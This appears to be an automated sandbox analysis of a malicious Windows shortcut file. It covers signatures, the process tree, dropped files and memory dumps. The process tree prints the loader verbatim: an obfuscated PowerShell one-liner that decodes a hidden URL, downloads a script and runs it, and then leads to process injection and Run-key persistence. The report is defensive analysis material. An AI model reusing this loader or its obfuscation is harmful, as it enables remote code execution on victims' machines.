Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 12:18
General
- Target photov_920857654059.lnk
- Size 1KB
- Sample260727-pgmara1grc
- SHA256 e3462453bcd71e6dfeefb9286e8941a48f4d44a34fa079402f38febe359adf74
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 23 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_920857654059.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$f_tgp=34;$sdxxxw=38;$ser9uq=[bigint]::Parse('44756601865297967248208790711561263934052261');$sx6xh1vwst=[bigint]::Parse('34804909464590901926200566288744708128977964');$ser9uq=$ser9uq-$sx6xh1vwst;$xt5190b=@();while($ser9uq -gt 0){$xt5190b+=[char][int]([bigint]::Remainder($ser9uq,256));$ser9uq=[bigint]::Divide($ser9uq,256)};.([scriptblock]::Create((irm(-join$xt5190b))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$f_tgp=34;$sdxxxw=38;$ser9uq=[bigint]::Parse('44756601865297967248208790711561263934052261');$sx6xh1vwst=[bigint]::Parse('34804909464590901926200566288744708128977964');$ser9uq=$ser9uq-$sx6xh1vwst;$xt5190b=@();while($ser9uq -gt 0){$xt5190b+=[char][int]([bigint]::Remainder($ser9uq,256));$ser9uq=[bigint]::Divide($ser9uq,256)};.([scriptblock]::Create((irm(-join$xt5190b))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"C:\Users\Admin\AppData\Local\arrmxmth_aq_upd_lhiu\git.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
msvcp140.dll
vcruntime140.dll
zlib1.dll
uteloprtu_krbvj_pttsro.zip
VCRUNTIME140_1.dll
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
ucrtbase.dll
DCRCVDrv.sys
memory/1056-163-0x00007FFF4C850000-0x00007FFF4C8A2000-memory.dmp
memory/1056-162-0x00007FFF46520000-0x00007FFF465D6000-memory.dmp
memory/1056-160-0x00007FFF65B40000-0x00007FFF65C5F000-memory.dmp
memory/1056-161-0x00007FFF65B10000-0x00007FFF65B36000-memory.dmp
memory/1056-159-0x00007FF625F40000-0x00007FF6263AF000-memory.dmp
memory/1248-23-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-3-0x000001DAA1400000-0x000001DAA1422000-memory.dmp
memory/1248-0-0x00007FFF4B65F000-0x00007FFF4B660000-memory.dmp
memory/1248-24-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-25-0x000001DABA1C0000-0x000001DABA6E8000-memory.dmp
memory/1248-26-0x000001DAB9970000-0x000001DAB997A000-memory.dmp
memory/1248-29-0x000001DAB99A0000-0x000001DAB99B2000-memory.dmp
memory/1248-20-0x000001DAB9990000-0x000001DAB99BA000-memory.dmp
memory/1248-64-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-65-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-21-0x000001DAB9990000-0x000001DAB99B4000-memory.dmp
memory/1248-17-0x000001DAB9930000-0x000001DAB994E000-memory.dmp
memory/1248-19-0x000001DAB9950000-0x000001DAB995A000-memory.dmp
memory/1248-18-0x000001DAB9BD0000-0x000001DAB9C82000-memory.dmp
memory/1248-14-0x000001DAB9A00000-0x000001DAB9BC2000-memory.dmp
memory/1248-13-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-12-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-11-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-131-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-10-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-9-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-8-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-155-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-22-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-4-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-7-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-6-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1248-5-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp
memory/1488-305-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-317-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-2051-0x0000000005C90000-0x0000000005D22000-memory.dmp
memory/1488-283-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-2050-0x0000000005160000-0x00000000051C6000-memory.dmp
memory/1488-287-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-295-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-285-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-309-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-281-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-277-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-289-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-291-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-294-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-2052-0x00000000062F0000-0x00000000068AA000-memory.dmp
memory/1488-279-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-313-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-315-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-177-0x0000000004BB0000-0x0000000004BDC000-memory.dmp
memory/1488-311-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-307-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-158-0x0000000000420000-0x0000000000490000-memory.dmp
memory/1488-303-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-301-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-299-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1488-297-0x0000000004BB0000-0x0000000004BD6000-memory.dmp
memory/1732-168-0x00007FFF62560000-0x00007FFF62616000-memory.dmp
memory/1732-169-0x00007FFF56AD0000-0x00007FFF56BEF000-memory.dmp
memory/1732-172-0x00007FFF62490000-0x00007FFF624E2000-memory.dmp
memory/1732-175-0x00007FFF64070000-0x00007FFF64096000-memory.dmp
memory/1732-166-0x00007FF6B87D0000-0x00007FF6B8C3F000-memory.dmp
memory/2304-241-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-187-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-183-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-254-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-250-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-194-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-237-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-228-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-222-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-218-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-210-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-207-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-205-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-202-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-198-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-191-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-190-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-176-0x0000000001500000-0x000000000151A000-memory.dmp
memory/2304-185-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-181-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-179-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-178-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-214-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-233-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-164-0x0000000000400000-0x0000000000470000-memory.dmp
memory/2304-247-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2304-243-0x00000000016B0000-0x00000000016D6000-memory.dmp
memory/2424-157-0x0000000000010000-0x000000000003D000-memory.dmp
memory/2428-174-0x00007FFF4C850000-0x00007FFF4C8A2000-memory.dmp
memory/2428-173-0x00007FFF65B10000-0x00007FFF65B36000-memory.dmp
memory/2428-171-0x00007FFF46520000-0x00007FFF465D6000-memory.dmp
memory/2428-170-0x00007FFF65B40000-0x00007FFF65C5F000-memory.dmp
memory/2428-167-0x00007FF625F40000-0x00007FF6263AF000-memory.dmp
memory/5492-165-0x0000000000150000-0x00000000001C0000-memory.dmp